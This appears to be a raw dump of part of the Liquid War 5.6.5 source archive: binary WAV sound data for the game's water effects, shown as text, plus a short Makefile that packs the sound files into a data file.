ynfr~^FNuxouqx|[ize]dktyeTf}vfj|wl]NY\ZynuUevhuyr{y_S^p`xqhfogx|jjc]`mqij{\}b<7enfsf~SgyvwoVghrkOA_uj|qvgdc\pi`{sNMRi{kmkZeyamxaKdwo}{{lYggTtexwmxvserhhl_gocUw{ugjtWL[n\L_ovprnfnpd_``}xudlp~lgt}~~}semtmlj`[qv|nmkonuvft{l`{wbje\zvs~wuxzyeluvxsr|}zzivtuu~}yyjSNNbnjrxsk\Ma{sjtwn_OUfmvȸwimox[ktnwwsz{JMVg|udgximctj]r[h}q|sryzaMOZccq}`IK`T[sxpepmjsugcnhbfr~vttzxÑftsZSfpstih_r}vuynbpx~~}v|uyaTNO[gw|{uvhor|hh{kh}v{~sjofglLLSn}{{aiz{|hblqz{Z`o`ax|turecime{ww|fgmzsb|tl{gj}q[e~\rvz}omqjda[GDegnvxvw`X_q|jwyxyztr~mxfabLnqmrwoznxoq~dmo|iusht|hpp`dYMwmv~|gY~wn{xq}ti{~mtsnxpjr|olwvxmv~|mdjjs}{vbfznfvbhkvvqrlw{too||oxtgp|kfczzp]myyxsw{j{yrjXBE^píleVH_w}sfrwpx{]l|ejl`dd|~isxlpfywyylsoj]_ixwzwz_esfrojlytihx{cRYcbqVE_}~}|cUvmgtsotxml~z~znu}sfsU:h}oh}|yrIRMAdslsdsyvyuklf|{r}ZUnx}vqgXPj|iXcow||qs|sfrpdtwnqjrty~fYqms^bn{g=8srv[BK`eTxwkdzf^ywjlzq{a^RZpjwIem^MN^xxequgwvprp}}ry]aifV^x~xlutun^KVfyomjt{s~^eiYtv\~^aloZXam{nldewv{u~}kH0Dwvzfnzpsq|f\bwqWPu}qvʲtTIX`pz}~]dqnt`=Trhuvhl}}||~~~}oap|{jeoyjbwz~zaa}k]iY_~}}zs~~ebqmu_poklxx|xzn`sv{wwz~z{{ocpuz~uuyyn_fptv}ztw~nTpq|zwlmsihvlzz}f[bjux{rzsqx}{ze|z\huzTCbzw}kSeznljj|ytid`E?[mnxaZzxn~vxsrz{qj{z|~sth]wyj_^o|w~lzt\p}vj}wmkitkf|rgZilQ[y|xksylluy~uausY^lf|yisyre{W[tsxghup^ShzcARsg_~usz{i^uwr{vwfbY;Afv~ytdZS_fyqsU[uoYQn{|odhq~rq{kvuM=qz^|fQU|vuqxuws~s~vUT_pty}qamvRslz}jTUcd\_YXknXsyimm{wvyyqrkWlz~zsf^lqqo~xyb}toyijqfZpss|ricp{}wsynbgjsztjy}zsX[{xtywzxqrndaT`}o{{pe^YefiʢkltND_t}|yyt|skgt\@Kn{ygs~zpkkljxǵwvzp[p~P[|}vmy}sg_mhetlawutyNXgahfWipqaaxǢpEQr|nfv{ojg|{\hx|mhaSoyznqqtpstTriUbsvt~i~tqyuqV\bu`JGY[nzhwt{vTW}oYm~uk``q{rsvij~^sc``n~fnfX\uz|~~XWxmN\canwtrt~q}titz}yts}zwhe|lshdjoo~{r~jnfiwmes{qxt~nxtorXRdeo{sTIcx[S^lunts}nmxrjyuasx\fwuvwq`~xzcqu\n|upu}\Xu|jh}pzzgg{~slxyvhO>N^jwwoYq||pg{h|{duy}|tzuxjW~{odjzx~~{~}cKA\zwmu|u}|myvrqni{mmmffn{ujqy|uxvbfqi]eiu}~`Oz}w}wo\NZ\tpoz_Xutonqxxzyoryu}jZ_d`ulw}hrwr[wgMYlx{yvfn]^f{^k|vtxx{uo`muu}}|{pqu{tf`[dd\Vb}idbhrinu|~}xl{}|rsem~~}sn|eLkbkzs~}}n[iulg`]oounslz|]Q^ifkg^_YxpwYHrsew{ztmvttnc}vx}sj^h}qhr|mdPOQjy|qybWN^tiZRc~vu\|pzyuv{ytbc_rvj{o{xrpfw}wwkL`pikjN^zht}l[`}|WMltS+!Ru||N1Szuycmx}zdjulq|vfjkkqw^dbj}r~}}xuswtqonquufI;JctyxigpY]|`zqxl_Zr~{}~povaw|mzsdi[MYdtx]Qb|e`{w~fn}w|}uaplbyrgl_Pnw{s|zyyqSHWohizolyuzXITQl|_j}zrpwem~vlpwie}nfpjfffjwxrsNRxm`qrv~r_`c{y}zw~fbinvoxwm[PKypsw_w~rZUGltdkdcrmyupbh\KYk_`zvlps\Y_wxgjvkc}|uactxxj[mk^oliwviwy|unvk_quU\mx~|kFKp|fvaixmn|~nf[a}tekqjx|hVE`vgqz|`Zwwaop~~|j|gizykS`x{~fctxz`Zy|zpenxoj^ewsyv]t|ccz^\saLcd~zslvt~|l`a`nwhotmgsfQeitnlzuy~~p|[XJOeqzjxlw}qqsltudbhw~mcrd}~|ru}ghuqze^r{t`[zurihqek|tm}~twnbm~ucs|uyaVZb`t{fhlzVZq}D\qtzq]\^h|xg}|xaBL`.C]kx|tksono}aXRqsfqbgnZ~gukdqnwlq~yor}iezEOwzy__moy}}lILzuadu~~k~xwZi~aWac}qdi{ntpzuiqj^zot|s`gi\|oixuruflx|y|s^q|V[{tb{sux{sU_widsylyzi^yxo~nc{|n}o`pku~s_dkmuv~ealullbfrn}xv}ixyqf`bcnrź{sncvl_fpaWn|zhbfjgq[h}unraqqlkkjqqotkhlmgi{vsziuuxrgnxjSgvqSW_bZ`px`Oh~v_Ov̾injp\NOMksli}}yyp}wykqs}TH\aezthtx~{ygrqsuR\ѿ{kpdgrXkmHery}urq\fzru}ұt|eyqinab\Wr|zuuqjYVjvszy}vxOGVbv|qVazkwfbw}z}ldomdipnz|ryurulonaseguY^^pw|nSaxrqe~r|}zvo`peNKfsjr~p_hu{zqb[Vz~jpiQgha~{xY\hnttj~}aU}r^Yyt\xvhaVXhqfyc~|wz{v}~ejqszvb[{iftz~|zSMUUpoez|v}ygiwwdbtXSlydcxryxukk~~hrr[WWERw{j^bejuu{{wdTvxsbncRrtft~naM[glrq~qduuet~{wkdcv_U`i\shcefWasuhhktv|at~obeJKY\_`w|oy{vjr{tutkr[buOjcIGZptwWsxk~{̢rSRg{n{uln|hfchru{Qaqxy|rlmfUK^r~}uxgXghTLahk{qp{sbad}v||sem{q_i{xpedtqe\nvzxhetuj|x}sodd`iYS^ip~lhy}hiME^iqmOUT^}}kxuwr|}jkue`lrnnj]dx{zwrY\zs`_c?Rdirurdl[WvzfSGOZs{kw{rhVz],CdPZk]iyyuwlh~{aWjjly~rqi[ylluj{h{_YnbepjjaUc{keirupLN]]aPcz}jvwo_Yxzq|}ieahtuybjhgtzv{kdx}llk_c}y{skvmcbasljzHNj~md{{cgz}lRXpvmlhrm[ukxxghSo}qjjwhvdn`d{kmymoqi|~|r}{n{\QaXTvzkp}wTsTYjiyaH>W|kg|sgh[xyhswkXr{mp}pw|rtpid`uvbdpx|neeni{sZg{{yig`iyvnqwemwwnd}e^msui`tsgup`JZfWTJ^{~vtty|odlhlpuefmv|zxnrftx{osndlhHjscjgir|wei|WsupRIm~vss^gql_]roehTghp_Kaijzxkhms}ntnfbjtv]lƥw|^hznoorvaht[P_smkvggfgquc|z]\xuny|w`ooky}qwrprxu{}lvy~T?ivdotachQCm~~~a]lwxzkwsruo|aju_[qy{tu~txvxldg}^apkm~pjyz[nzhYKswmpwolctverusveZhiq}dTPzzl|eZJBTtt^^x^eiVAPtxrq|wWBitbvyxzZelxUOv~XEuenizoP_VSN:KhyaFbr}~zvpqbWo}]Y{bh|uf~||jUTazcwsfq}lqslgp}swwdt||f[twso^hUvlZoxcezthi~ijs]]euy_WrglqsonR`zzmr}m\pxyr}jfxtc~O4GevfSg}xcrxyz}qs|mPyy]\oaNFWi}hjeh~ksstju``yuenz~p|~qprZQfltnmvWRhwyxm^nx|vz~xuff|xsUGWiWcwonhxl_h|`VtzkPRpSi{iZqi}w{~rql\^syyelmptw~^Yeqл}hapx]Ub|spzvttqhq}j]\i_gvo}lc`gzqg\occocpsjjtzq}~eo}vecjeyp~|]Xgliux{jSTd^gq{hvy|lhcqcPc|s^SYHSxpqwolhso|tm|мr^muu^Simjqbcvz~roUeme~{g}smpzuaq}rYdx{bfr\gjnsk{syikxuel{jgomaPgkg\e|oxjgpqvs{oplPNjl_onovgpkRdr}utub}oRGTrzs[nmPVopZ^m~qkplotc|h`lUI1*Py~pl{icb}zsynzbr}|m|}qxvvldk{zzvv~x{olvzshpxzznoYaͲiQ[nl?OV[jIUctV[ww{~{tZZq~\Ry]gqh|o]Tjh>>by~uZ}q]`_w}tSW[\~wxp[`nrinwfRzï||``unrs{|vk|qL8gocfW]}zlp}jN]hiis|yrppbYv]YkyZ[rstwiTNWb}ƭm?Detmrqxjuv`\|qptrzeamzbq_S_{{~fTbcIc{pyqiYm^^vm_i}{yzvbpaguhXZm~TCUx{}dekmwxt}g_cq}r\`^fy~Ue|Si~xdgkPPZ}iqp~rtukRgi^iyoTS_vyfmmm{{uy\qoi|wm_pln|nu^LKhyvwuvv}ntx{zl`apgj{hZ}w}eMNcwx`t·oXUwnxuitSB]ĹrG>_~xmwojZ]HWspXfvdUn|gX]v|j[brď}v`h~mhhnpVjTNsuWTtqUZvt{yqYj|||{bIVyx`vowsgkeT=Adjwzu~smMBWrt~m|vhZXencYx~u{˯ucem}^`kopt}X^sxvdrsu|oohZqx˨ptkhjh}gpjgn`ztjfso}spoipalxk\wwzqvkjfkp{}q}uv|}}_YWWo{|m]szv}o`i~{pSq||pPYsrYXz}kcnjjve{xkeflm|onx{hYay|{pnx}ST}z~{yx{io~znfo{~kd~dm|wcSrqovXfkjwzrspsy~zivu^aszsxyuzxX_tp}vstslxwxqfmxoRZzcVvfVWl|rnoijeeu}|uOc{~w[apca}}}fN\xpUT[j{ypskKNg|ie~}aWtfijov}ec~{l^xYYwyhmVen[hbw{~l_|lkc`Witkeiq{{Znr`evdZhpf}jundpiqn\AEhzt`otd[ryqvd\i{{{yulvmb[oj`]lr`|}kfGPqUjwvjsnsljl|t|a_}pniyxwx{sZ\{qbmwqx\|lpugQefK@`eQK{qdxzcnreE@Nb_OgŪsebqekehp{{{z}kg`A:SwstÎf}usj_XpbMVcrud|pzw_c~qfqt|}iwPayuztid}êqm}q\a_xšuddufhjeoi_olX^x{zbrqc[LJOHf|{~t{z{QJmzov|qwjbs~xmh[Ugmk`qx_ejoYduv{pj{|f_]m{nur|sqnwWNp}xpyd{g[eltu{iw~hzriRcěyy}fqzxn}rs~qWO_kst\|tWNrz`druchz}vjkwlS_ozhb}uuy_itqaJfnMomxy~Y_{vt]mmtrr{aXdu{y|`WbZXY|U`}zkl~ɟkgmUQrt|pi{wZdh[nfjt~urn]R~}x}lTOyziosnysykYYt}Vbe}rxzoz~tYG35Xwt{dwfJYzL^alzy{nf}ήpjzpbx|rYQVMfyltgsywttrysuhvqjwlbg}l]Xhpddrqr{o|ys`jvvuz|tq^W[\b~qZkqmemfZak{nlze\oaN\`drq|ʻsjdWQ]wu{jFPgixwwpqjfv}epqbWPl{lhwhhmpgyzzr[m~ohxcnzwwjiZPVlzlbx}ojrm`pztglozqy{dJkOKZSirkzx}x}tujwtqkruvqtrtpqyuu\mjztXTZiÊj|x}x{{vvgysh[UIA?ivajiK^hUgr}yqqkwddyhlWN`rbzrehyvt|xcvkkybN\VancZ{zqwsln{sktkVrqjmstwf`Xbtehcfg]Qcyyt}fM0Jkio~rjbwlutk^\lyoap{cO[_ovp`^lr{unzsTRikoy`voPgqw~|lkrqfv~yx|mn}~YR_fsa[rna4Cf{wytgzyejx{iVmkk|{m}~vmRHUyoV^oxwz{`wsv{idklsh~lw]`ox~roo{~pfuyx{WOc~|uy{yq[d~rhbMYbYntaz`ix]GTTprndUj}{orepqprjHQznrzs^Zlbwq|cQev|t|vs}|u|ru^S^cVs\Pxke]kmisyzchxch}~ql}KVvm\{q_Unagv{{mkvXa^eno{}sszywixwa|~ihgcdqqqvsmgNPUj{tmuspupdqexszqmlsu\DWfvsv}y{yqb{}~}ojzdqjb\No|xhmipul|q{NBTf}bYY^qxnjmvb~oHK^\rz|uvmwz]Ne}|oh\Elymlw~}~p{n\vl^y}v~cSj{moZHF_z{tzo}~jL2/[nNXnrha}klpvyymtz|oWRbmjsmx{{fY\`w~um|st~qxuWCOpsn\oqew{o`vz|wky|kgvuy~gnynxzcjoodarssq_[w}[J_q{x~zxq~yj}xd}wywy`Si{|{j\Ij|p~odytb_e{m|u|p`sdM]nrlztitynwln{lZoxyndtubi}lYgqzks~a|u=@k{zs`{hj~pnlojo`ZtctmFK¼vsgdj~suzeSvv~xnx{zr_zvsc|iYe_:.Xwwƕjiljgtzn_jqjm|hR]||krmw~nXVmtdyq]ysnw{fMUnwuzyzqcwruoEHk|q}fWbpmssYmhryo[wuWe|oatwbLQSvqnoozutv{tmoo~wsin{rW]wsh~ygxjo{gSjpborlryj_Zp}l|oc|~wYw`Zszjjy|ejB]}yp{s]_kogdobvqgUSRXq|kvhabmk]j_]nzq|~zq_vq{{cfYIlwjoesjlmlyukh^wgf|rYcigmg~kdmtt{uU?]}~pyg[njuzibqpg{mjW[a}qiOHVfugebwrpgp{gyaXY_~{szzgx[Y~aYexq]S]hbayxvuv}wk|}scT\Q[xjIQhsyks~lx}rnlUaqh{kiw}o^ays{y}c]kiYZˢz~tnb}sq~p_^upm{vlpwlbe|oZ{x»h_s~^Iyz~telsvwerrtyaRY`a]drufRjx}kkgtxbqjjukLKn~}|Rey]Tl{sTacSh^]gjVPPioeyujsewqtzv_Xd}pMtbfxzph}|~\\fr`[p~zs\Fpnp~ta]uxcVqaJcraj~q\h~yqZva3[}}}_Oewrgipyxq~}ubwŖturp{vpy~|b^^qzZ^eY]}h~|}{uojhqjVRZgK\_lmzp|xytnh`ziz||fr~SZ}tvtuydP[kzfxdPhy{tjtmfoPZ|l_e[`tyu~{uwosunlx{tiV^gnwfbzwlovkk_fiycdsW@?FbUT^gdwyskm{}f^l}os|~tP?Ee}tc\dsYfwzse`}~_Uov|vz}bduhw\_twgf~}wrojQhpkRngihWksitvwn^{{avx{qj|{{iqzyYbfQX][r~x}shv{wy{ojZjshm}j\IHVnsaĸmSZPgjVecjxe[T]}zrk|udgiokqyxo~\LNCXv|~p|Z`hk`{zROz|zlszZb}|pObzyi]dy|tdtpz|zvxqhbdh|g\nw`zfz}ztqxx|pW\xnvwnnv}tqtsbjhmwlirnhlbuzt~|xilflysvxn~zl{igzfZVl}pv{{wxng~|y[Egtbpnmx|mgfuuoPV{i]qql{}S_vkythg_cptykQ`krylbg}n`r}yyls~fYw|igvh[nu\Ibnhpw|qWV~_~|~y{a[vn|ki|l}qdwtulaisl~txy`mb}xUFQ~^mwRNp|QSnpv^KZju}mlrwlgWeqvotyyypdrwzsrw`s|YXc{~tbRj~gMpq}{hnv}nuyqproc`hn\;Gx~qY]r{pzv}|mrtv~wnxeb~tnlzhgbgm`pxuzkZpmPLIbifpqplq¶{tx|vufJVggQKc~p~}|ry{pyYu~lpwcVmxrmkr[c^Ym|tWd~}{ruvprsVDKZiWXâswvXYi~ocu}y_[ZmqpdWU^pv]^|~~xn{uymkztyo[rvlz~slf_z`i~urkz|}hheu{u{z\Qktiosp}wL[{fptni}zzu~xt}vfoy~{myy_dsp`rqgoquwhS]wskpcjtnuqwoRNqt~wo}kl~gNMg}ldnfmzqzbudXvt}xlbevtuyaizmpzufn~z{kvrb{}}{qcdqmlrrhq}`oxoqk`grvqblpt\Orcthaskbŝk^vbb{~tjdSafjnoq~pgxsqygWM`srzwd]nwttft}{p~~hs|jsgj}jpzh}tysqe{wowdY^gbjsuotpjh{gPgųoU\|{exfv{z}tdct{lgmgrmno|zwsWdjherqxoe}znlnjv{hdie[tlq{}~x{u_Vtyns|qviw}TLgJ?|}pezxkkQ[uhb{_Sawpwqvm^`ft`g|iowdw|^RYcu}w[\kusfko}y~xpnwwmkoz{h\c}tETo}rcarplchzLX}fNey{u}vR`{w~da~uojqp]PZl{wsprpx{ysV^WNl{vge~i[zgn~vsv}vvy~~v|~ZW]~qtfaruwa_aVgwyTj}z|j~yx\RpxwyjmylddzyzrrrflrYcte}`qzvyv]bv}map~|vbY\tu{qUdnh]q|rfiT]pkky}kyzrrl~~{eCZwt}yiekZUhfctt`wzm{orzkqxmyyh_i{~|~htpXb|ujefi\dvz}xx}wobxqwwusi{ghpxttlcjaVqdulWOhrlYvªoxtkhxZTSQkuzrj{{g]\aplqyp}me[^s\gsnduuwypiveby}mznXix}voorv~xvtdXVifjvwuw{n|{edpfunmvwZlpey}gaeeiaptd[wb|{~t{|kvxzXU_rvw|~qfvpdg}ilzkvwvys|{zqbn~wuuiU]fcjvw}fQW[A6Sx~v{__ftwh}edsrymcm{|l`Ui~udlw}kYoxw|ihr[^NEo|cV{fWVh~{yrow{qUn|kl~nxlpqo}tW]ry{q\gz|yl|p^Uj|wpvpaPnz{|ơpi{bRt~sxzjumo~u~tc\gh^bb`{{oshh~}qqs}m[kr]w{zgdletsgqvgYoyn}ua\r}jvpgq_RTmv}[Yo|\QZip\^xnXbrzUM\rvn~gNNl~v~wk[^_rjm{fxz~|\tzgPQUa}u~vsplXDY~}}|~s^]wtq}qhgbp|{}m{z{f]q~ve^e~zpz}zwrcUNJ]o`}zv|s|~{e]`f}hqyngbZsmcfq~n_wdOgztnm||hovqi\rne|}|o|a`MVq{w|]KUupbob_dVT|yoY[svrpppp}zttTcphM?:\ovyssjvsxpnzx_k|}q[hqcfukyxfY}~~ob[bq|{utymajkprqplej{gOJfvwza~gxznuzPH`{crykwv_vzizpvyxyhgoyggu{uxzrcxpiixjq~vmfO==j}isxYeuoma{{vvwk^kbcu|}zyrw|[Q^bYi~wce}|V]]ryxasz{y|{~utigq^b^NJahy~t}|ygyuxPWeuf_xHIag{hioq~nqv~ig|w{e\mhfsqhybuysgvvuxqg}pwt]Lwz_Xufoy~Žsih_[}yz|voov|w{yip}nV>1Bvxz}zhantuswmlnTXe{nmdzz|~yotZQmtsqz~rmVLVxxloiwyqtzzeswtvel|dhqe{vdVNO[}}feUzvPXqrkikrem}gdRXU_]]olss^nuSPrTEbvnei}{upkwglqlW`tu~}ytygD@7V~|lrwMBWdvǡ}mT=WsvszqSm{n~wlwvyt~v{eLckoxhhUjsp{rX[s}}gkhf}dVjgOW]^qqr~~n]xzRht{z~~}lz{{xrTb~hh}aPY~rkeMipmn|okx}t_v}vhgutzklvmin}rpnrx^cxzo}rbzx`ICa{evyyses{w|z~w{ûnZjroBZ~ykt}j~eiurjaC[rnm}}wiojj|{unhjzw{^Xouc^ZS_qzo`hnotxunrj}}duupxoe{pmY`|rq}z{cwxmw||}}yj_y|vibe~fXdzlby~dkacnvpytxsq}rnwjcikZbqs_l|m{p~e\hjXNgtussxtgbtupg[^sZbjvVZpycYYvxv}tsdq}muhVhwtxlruvu|qvMbyx\LWbekwp|~xuomZ\mvshkrqy~xv~Xd{xq{oyumslO^}xxm{x|uYU_T]|xuwub{lry|oi{wuz~q]^tm]hZir{]jwyox~nlqzov|{lw{jghrvq|~ithqbg}rXX~mkX`glsqlir|hp~z[Sd}yapohtxlhpqYZori\o|weVzhejtzl[emcduwqe~tbxicv}vyghr~wxutjotyugXh{qzvxo~woyzm{igmtwyn~{yxjl_mk\ZZsy~kkdhgRMqvfsxvclyhusgpdaypapwxl~qzrlmw|lHBofjvfVa{}new~q_ixqxwmthuyh}x^]yptQOiqnqaoZ\bm~{wspkw`wun|[axsvxwnk~~|tp~}}mw_k}mayiyu_O\tddpy{x~x}S?J>Oxnghv_txs\gmkjzhpvfp{ofoo|e_j`UY[]ck{zpopklyypv|eUhspcau|{zzu{tzqdjgeXYtju~|[HTljuw~zt{s{fdtswpln}mYWo|~zro~{y}s|w~fRlso|w~khfdjFNk}xruhsmXk{vj{y{rtnay~zveXTeut]^bx|pfLGriUkwu}j]prT[}{mQ[uv}Udls~s_`sykltcfͺncTby}bhs~}shk`nwssqsso_bdu||scY\picqwloh`ouuz{ov~p`rugu~}oTI\llz{pqnzwqbj{pZh|opxqht}ynwqwmvg\enhs|eWgxz^sg]\[tdkrom{]Kpu]iwwcqw}se~pijy{z}|oy}}t}mnu||thWfvuiyn]p^eo}dca\KVo}zm`a|ubUpuluzz}xpg|hxx|~fi^\qdu~qophmwz{tzngwczxqhgoqirk`i{ysUY|{rdkU~xpoZUwfYiwq[]i|p\`l|vfjiyu~rlQZi~}gkdT]hrdrYwrr{wnwnj_\`cgPGYtsg{vl}gvtdkyou̯ylt{v|mYxW^gXj}la{}uzsj`x~wwu\bfxivx[qz`i\_toxygZkp|c{rKWiq."Miag~OWuw{~lwzdg}dd{|~ninxpNOjpt|}~pnwky{^Zbd`_Vmli[my{u^c|{}fnh`p}|ooWgvhTa{sXz~rjgbk{~q~xr{u{~xmb^vnqXxida[ZXuuqvw}gnƹ{lvyrmuneg_`[izlzv}tjnrk]]pxuiycbirw|zu~`R[m~{`ZHXnezr}hckiqnq~t}sa\av~yklrWWhIpjuhRmucnsz`y~z|xtwoWFXbkeez}ux{}qyx}|zxrzozsl|p_cx}ikr~UMQRl~wnbcv`WWPewuy{vmfdphorjYa{xshh~{{wgwu|{vxtL[xeLAD^xǺx|mksmf}~mh}^b{zjlrelz~hxm`s|}qITh~|lkclyfneYyfd~tukg{vcg[ZnXWNqw}zxxww|eozeiv}zgxnl|lqckzrnn}XJisy{f_wzaaYxxz|kvw|owyv{iyuix{vj}{i~|z|ekw{}hQDE|mq|ksxjR`~p\y||o|`MVtzlrtxxzxg{|xwhltvz|zx~{qgY_s|¶YNYoul`YSZZszhy^S[hjz~viknl|rfakt{|}}ZSn}uvvrvxmuz|}tmnsi\]tov}pnz{zurnZ\rywlvx~~kfvvmgwfo}x}gW\lhr~sx}|vS`mizsbizyvr{}vrmnx}lUizrrwvnltxhtoedotn}]apeizs`hx{sxW_opPfzsSY~vityi\lsYbpv}q~xw~yz}}kqlswexnzth}z~sl`^a`}p{twbS[nx}uuy{zzdd~zvt^~|qjpzxwkw}zu~x|wz}ybh|x||snnn}uohghkertlrmqvjumWSpv}v{vzoey}rhpxnnyrygmxekjx}{moz~o|xwu{|zvvjw{~towxrjt}z_O`yq^Yv|loy{`Z`npltwqulQKkyttdotny{sk\jf_lqir]k|hjjqwlaq}cX^s|`l}clnao|{vhmjz{s}~vqsz|livrvnijxvor~nsmlinyswtvxu[Yqgf}vegubi~s}nmny{luy|~qxzllnt{|ywx|peqrp}soighxz|z}wtlo^Yvuwr|sz}}ps|u~xtvmrtv{}~qo\k|xorgor{}pompy{v~{|wx~v|oecuz~pbjhnwtpymw|~vyzvy{w|ymlfpms}|rmlwwpsuu_kqnqxx|jlxsrhg|~~{u|so}}oem}}mpnmt|}oe_m|r{yx|hY^dpgmroopv~m{w{u}z~~mtoqwtt{v|}|~~|kaoqowwtqqtyp{~ut{}wxy|zom]Ug|~wuw{yjWj}}~}phv~~|}pfkngzzsgfkw}w|~hk~quvico}~{sntu|}zkkys{z}{tfixrzsx{otxriblop~x{rfkvxux|vnwz^gv~vx~jm~{|~~}}zw|s]w|mwz~w~vsin{wrrqs~~qtx{pmx{uhr|kkks}{~p~zllutjtunx|~l|xtupun{z{|{}wt}ojak|usszy{rgk{|v}vz{|mkhhx|zepuofkll|r||v{}ilvxwv|ndj{|wurxut}vtdins~zppw{{mn~~|}}zy~~~xx{u|y~ojsrdv}v}zornv~t}~|tmxyxsnxwp{}e^q|v~uquu~}|wvxx}spy}xyzzwv}}|yuttx}zy~~qsvsz}zspptusru}}|~uzzw}}uqvxp`ex{{hgjv{wty~|yuuvtz|swq|~ysqouwps}{y|{xw|uxwoo{{}uuw}qmw}zz{tuz{||}yu{vx}s~|x{xt{swtkyz~~~{~{qvw{{|}{|z{~}}zv~ylju{{|w{sin}wz~}zr~z~yohhu|~{}}|zx~timz{y|z{|rsw||uju~u|}~~vx}|uqtwwqr}|}{z|wp|}}|vx{yuuy|yzwvz~~}yuqrz}~z{~|uyxx{|wvsxzz~xtu{}}}w|{oqyz}~}~~}y}}|}zx{up||~{|}x{~y{y~}|zuvxusz~{yz{|~x}~y~|~|{wy|rjnv{y{}tz{zwx}yzy|xxrtz}{wwxxz{|~}x{{x|z}}}yt{~yv}{z}zusu{zxy||v}~vy{xz{{}{{zvy~|zyyw||{~z}}{|x}z~}y|{vwwvyy~zvuyvw|xw||~|}zu||vtu|~|{yy{|{~~~~~}~}~}x|xvy{}||z~zs|}}~sszz~y|y~{|{qmy}{|~wt~|~|}zw|~~vtx}}}|{ux}{~~{|~}z|~|yxy}|xyz{|xz{|{|}}{~~}|{~z|~utu{||~~|v}~|z{yz{{z~|~{~~}{}||~wxy|{zzuyz}|}}{xxy}~~|x}}{|~x{||~~}{|yx{|||}~}|}~vw~~}{~}~~~~~}}~|}}z}~~~||{~~|~~~|}|z{~}}~|vw|}}~|}{y{y|z{}yy{|}{xw{}vvz|~~~}~~~}|~~|~|}~|{~~}}}yy}}|||~{|~}~}~~}~}~~yxwz~~}y{}}~~}}~{{}}~~|~~}|}}|{||}|||z}}|zz{{z{~}}}{}}|~}~~}~~~}~}|}~~||{zz}}z|}~}}y}|}~{z{z{~~~~{x{~{}~~}|~~}}~~~~~}}~}}~||}||}~~~~}{}}}~~~~~~||~~~}}~}~~~~}~}}~||~~~~~}}~~~|~~~~~~~~~~}}~~}}~~~~~~}~~}~~~~~~~}~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPNiagara FallsLISTINFOISBJNature in action Sounds like the falls are right next to you. 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/Makefile.in0000664000372000037200000000054613407756104017246 0ustar travistravisALLEGRO_DAT = dat WAVS = amb3.wav amb4.wav bath1.wav bath2.wav \ bubble.wav flush.wav forest1.wav kitch4.wav \ lavaflow.wav niagara.wav shower1.wav sodapor.wav \ thundr2.wav thundr3.wav tidal.wav water.wav all: water.dat water.dat: $(WAVS) @rm -f $@ @echo Creating $@ @dat -a -t sample $@ $(WAVS) clean: @rm -f *.dat distclean: @rm -f Makefile liquidwar-5.6.5/data/water/tidal.wav0000664000372000037200000015517613407756104017027 0ustar travistravisRIFFvWAVEfmt ++dataU~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~}~}~~}~}~}}~~~~~~~~~~~~}}~~~~~~~}}~}~~~~~~~}|}||}~}|}~~~~~~}}}|z}}{zz{|{xzz|~{z|}||~~~~~~~~~}|~~~}}|{z{||{z{||{|~}~~~~zz|}|~}|{}}{zyxvvyx{zy}||}}|}}||zz{|}~}|~~}}|{}||{{}}|||~{z{}z|zy}}~~}||{}|xy}~}}}xy~~}}~~~~~zx}}{z||z}~|}{zxyyvuty{z{y{yx|||~}wyxx{}}~|~}~}z{ywyzyyutvwv|wsxxxuwwtqtuuu|{z~}}~}wvwurtuxyurru|{wuuuoqtvzxw{}~~~||{z{{~~|~~vquyzz~~~|}{vwsrttxyuwxvvwz{}{vyy{~~~~}z|}zxxwuux}|}{~|{{wuutvy|wtuz|zx~zwyrx}xtuzxz~}~~yxv{}xzz{uux{wuvzwuyxxxy~ytyyrswxxzu{{{wwwuuqtuuquwxx{~~swzvspp{~~vsrrrwyw}~{{|}y|~~}}{zz~zvv{zruv|yz}~|yyzswurrrstsltx{||~~}|z|wx{xpsuqrrspnnspu{xwxwxy|~}{~{txz{z|ux~|vv|~~{usrouvtunjv|{sjguyy{z}xyuy~{~{zz|}xwy}|}zx{xlpvvrtrtuyzx}}}}zrtxrporusvor{z|~}~us{yvunooqs|}|wxuuoompsyxzzlqqrtzzvuz}}}v}{~}~xplrrrzuyyx~v~vvw~utwolnsrrjkurmz}zx{xv{svy}x~~~zx}tqu|~zxuuwpuqnqzw}|y}}|hfpjlhn~|y~urwyxwtsokpy|~x}|}wuwzsx{urrw|~yqrxwuojmmzxxlZejefis{~~y{}~tryonwqwx|xpy|z{t~{~xwvrw{zqoljlehgektielvty}w~{{~z|yz{{y~wuzx~yxwwtjmjfn~wszpqcUW[jg_`mv|}v|{xy}{vxqo|ss}vttxr{thvnqsptwlox}~x}ypw}{{qxxv}|xy}}~sjifinkozy~zuvttrmh\[bblj_dovsvvhx|udovrqrmlo~wwxtqqoxwpkjej`\k^dmbZb`hkfgknvnd]V[^``fb`a^^knjiu}wkkwu_^fltmdfdeb\aopcdjjtrpslnujakeixvwqq~}tn{~{|ps{z|}}{l}xtqpvohtvoc_ruqpnolm~utwotlmwl|zrmghwvszvvzllz}mrv}|~qrxx~zx}sj\c`enade_QLVV^^^]Wbaffkjgtv{z~kwyfs{okejkgifgoxxu|mesuxuqZ\jif^fsvst{z{}ww{ypzvoiuwq{icss{tfovqratpnmiu|~{~{z~}~}rovwkkb`ifhlw{wpwytwuosyztvyptojvt~}|h]cijqghkputt|_TDHWaTW]]wwtqvxv~p|{|bbkfZgr{txp_adffiutnx~}{{{xr~w`k{y{smyumurw~{|{guu|{~zoq]jzwy_ppq~}zolqt}{~voyew}qtzxysxzy~z|t{{zv{wyufa[X\MJZkhohenvvtw{{wx{~z}smfijngq|}sfmqk`aegWHROW]`Zkkiy~|u|p~~{}~vfmtxpnticdrlecir|vlnip{|s{n~~uqoqztz{wuyrs}z{qoz{w}}r}~yeqgk|mtpdpt~{zvmsv~{|stsxy|q|k`d`onbgjymbpyqgaelhgv